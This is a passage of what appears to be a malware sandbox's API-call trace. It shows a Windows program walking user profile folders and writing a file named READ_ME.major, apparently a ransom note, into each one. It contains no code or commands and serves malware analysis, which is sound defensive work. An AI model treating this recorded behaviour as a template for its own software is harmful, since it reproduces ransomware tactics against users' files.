[0154.927] SetLastError (dwErrCode=0x12) [0154.927] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccb0 [0154.927] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc878 [0154.927] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0154.927] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc878 | out: hHeap=0x570000) returned 1 [0154.927] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0154.927] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc800 [0154.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0154.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0154.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc878 [0154.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0154.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631180 [0154.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631180 | out: hHeap=0x570000) returned 1 [0154.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0154.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0154.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0154.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0154.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0154.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc878 | out: hHeap=0x570000) returned 1 [0154.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc800 | out: hHeap=0x570000) returned 1 [0154.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0154.928] FindNextFileW (in: hFindFile=0x631700, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15b4ed4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15b4ed4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15b4ed4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0154.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0154.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0154.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0154.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0154.928] GetLastError () returned 0x12 [0154.928] SetLastError (dwErrCode=0x12) [0154.928] GetLastError () returned 0x12 [0154.928] SetLastError (dwErrCode=0x12) [0154.928] GetLastError () returned 0x12 [0154.928] SetLastError (dwErrCode=0x12) [0154.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0154.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0154.928] FindNextFileW (in: hFindFile=0x631700, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15b4ed4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15b4ed4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15b4ed4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0154.929] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ea60 [0154.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0154.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b68b0 | out: hHeap=0x570000) returned 1 [0154.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9e0 | out: hHeap=0x570000) returned 1 [0154.929] FindFirstFileW (in: lpFileName="\\Users\\Default.migrated\\Documents\\My Music\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15b4ed4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15b4ed4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15b4ed4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0xffffffff [0154.929] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ee70 [0154.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea60 | out: hHeap=0x570000) returned 1 [0154.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0154.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca08 | out: hHeap=0x570000) returned 1 [0154.929] FindFirstFileW (in: lpFileName="\\Users\\Default.migrated\\Documents\\My Pictures\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15b4ed4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15b4ed4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15b4ed4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0xffffffff [0154.929] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eac8 [0154.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee70 | out: hHeap=0x570000) returned 1 [0154.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0154.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca30 | out: hHeap=0x570000) returned 1 [0154.929] FindFirstFileW (in: lpFileName="\\Users\\Default.migrated\\Documents\\My Videos\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15b4ed4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15b4ed4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15b4ed4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0xffffffff [0154.929] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0154.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eac8 | out: hHeap=0x570000) returned 1 [0154.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0154.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc60 | out: hHeap=0x570000) returned 1 [0154.930] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x15bc1818, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631740 [0154.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0154.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0154.930] GetLastError () returned 0x5 [0154.930] SetLastError (dwErrCode=0x5) [0154.930] GetLastError () returned 0x5 [0154.930] SetLastError (dwErrCode=0x5) [0154.930] GetLastError () returned 0x5 [0154.930] SetLastError (dwErrCode=0x5) [0154.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0154.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0154.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0154.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc38 [0154.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6313c0 [0154.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6313c0 | out: hHeap=0x570000) returned 1 [0154.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0154.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0154.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc38 | out: hHeap=0x570000) returned 1 [0154.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0154.930] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x15bc1818, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0154.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0154.931] GetLastError () returned 0x5 [0154.931] SetLastError (dwErrCode=0x5) [0154.931] GetLastError () returned 0x5 [0154.931] SetLastError (dwErrCode=0x5) [0154.931] GetLastError () returned 0x5 [0154.931] SetLastError (dwErrCode=0x5) [0154.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0154.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0154.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0154.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0154.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631840 [0154.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631840 | out: hHeap=0x570000) returned 1 [0154.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405e8 [0154.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405e8 | out: hHeap=0x570000) returned 1 [0154.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0154.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0154.931] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ActiveSync", cAlternateFileName="ACTIVE~1")) returned 1 [0154.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0154.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0154.931] GetLastError () returned 0x5 [0154.931] SetLastError (dwErrCode=0x5) [0154.931] GetLastError () returned 0x5 [0154.931] SetLastError (dwErrCode=0x5) [0154.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0154.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0154.931] GetLastError () returned 0x5 [0154.932] SetLastError (dwErrCode=0x5) [0154.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0154.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0154.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0154.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0154.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0154.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0154.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0154.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0154.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1d0 [0154.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0154.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0154.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0154.932] GetLastError () returned 0x5 [0154.932] SetLastError (dwErrCode=0x5) [0154.932] GetLastError () returned 0x5 [0154.932] SetLastError (dwErrCode=0x5) [0154.932] GetLastError () returned 0x5 [0154.932] SetLastError (dwErrCode=0x5) [0154.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0154.933] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\ActiveSync\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\activesync\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0154.933] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.934] CloseHandle (hObject=0x6a0) returned 1 [0154.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0154.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1d0 | out: hHeap=0x570000) returned 1 [0154.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0154.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0154.934] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Adobe", cAlternateFileName="")) returned 1 [0154.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0154.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0154.934] GetLastError () returned 0x0 [0154.934] SetLastError (dwErrCode=0x0) [0154.935] GetLastError () returned 0x0 [0154.935] SetLastError (dwErrCode=0x0) [0154.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0154.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0154.935] GetLastError () returned 0x0 [0154.935] SetLastError (dwErrCode=0x0) [0154.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0154.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc878 [0154.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0154.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0154.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2d0 [0154.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0154.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0154.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0154.935] GetLastError () returned 0x0 [0154.935] SetLastError (dwErrCode=0x0) [0154.935] GetLastError () returned 0x0 [0154.935] SetLastError (dwErrCode=0x0) [0154.935] GetLastError () returned 0x0 [0154.935] SetLastError (dwErrCode=0x0) [0154.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eb30 [0154.935] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb30 | out: hHeap=0x570000) returned 1 [0154.936] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.937] CloseHandle (hObject=0x6a0) returned 1 [0154.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0154.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2d0 | out: hHeap=0x570000) returned 1 [0154.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0154.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0154.937] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0154.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0154.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0154.937] GetLastError () returned 0x0 [0154.937] SetLastError (dwErrCode=0x0) [0154.937] GetLastError () returned 0x0 [0154.937] SetLastError (dwErrCode=0x0) [0154.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0154.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0154.937] GetLastError () returned 0x0 [0154.937] SetLastError (dwErrCode=0x0) [0154.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0154.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0154.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0154.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0154.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58e990 [0154.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc38 [0154.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ee70 [0154.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0154.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d270 [0154.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0154.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0154.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0154.938] GetLastError () returned 0x0 [0154.938] SetLastError (dwErrCode=0x0) [0154.938] GetLastError () returned 0x0 [0154.938] SetLastError (dwErrCode=0x0) [0154.938] GetLastError () returned 0x0 [0154.938] SetLastError (dwErrCode=0x0) [0154.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0154.938] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Application Data\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\application data\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0154.939] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.940] CloseHandle (hObject=0x6a0) returned 1 [0154.940] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0154.940] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d270 | out: hHeap=0x570000) returned 1 [0154.940] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0154.940] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee70 | out: hHeap=0x570000) returned 1 [0154.940] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="CEF", cAlternateFileName="")) returned 1 [0154.940] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0154.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0154.941] GetLastError () returned 0xb7 [0154.941] SetLastError (dwErrCode=0xb7) [0154.941] GetLastError () returned 0xb7 [0154.941] SetLastError (dwErrCode=0xb7) [0154.941] GetLastError () returned 0xb7 [0154.941] SetLastError (dwErrCode=0xb7) [0154.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0154.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc800 [0154.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0154.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0154.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0154.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0154.941] GetLastError () returned 0xb7 [0154.941] SetLastError (dwErrCode=0xb7) [0154.941] GetLastError () returned 0xb7 [0154.941] SetLastError (dwErrCode=0xb7) [0154.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0154.941] SetLastError (dwErrCode=0xb7) [0154.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ea60 [0154.941] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\CEF\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\cef\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.943] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.944] CloseHandle (hObject=0x6a0) returned 1 [0154.944] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, 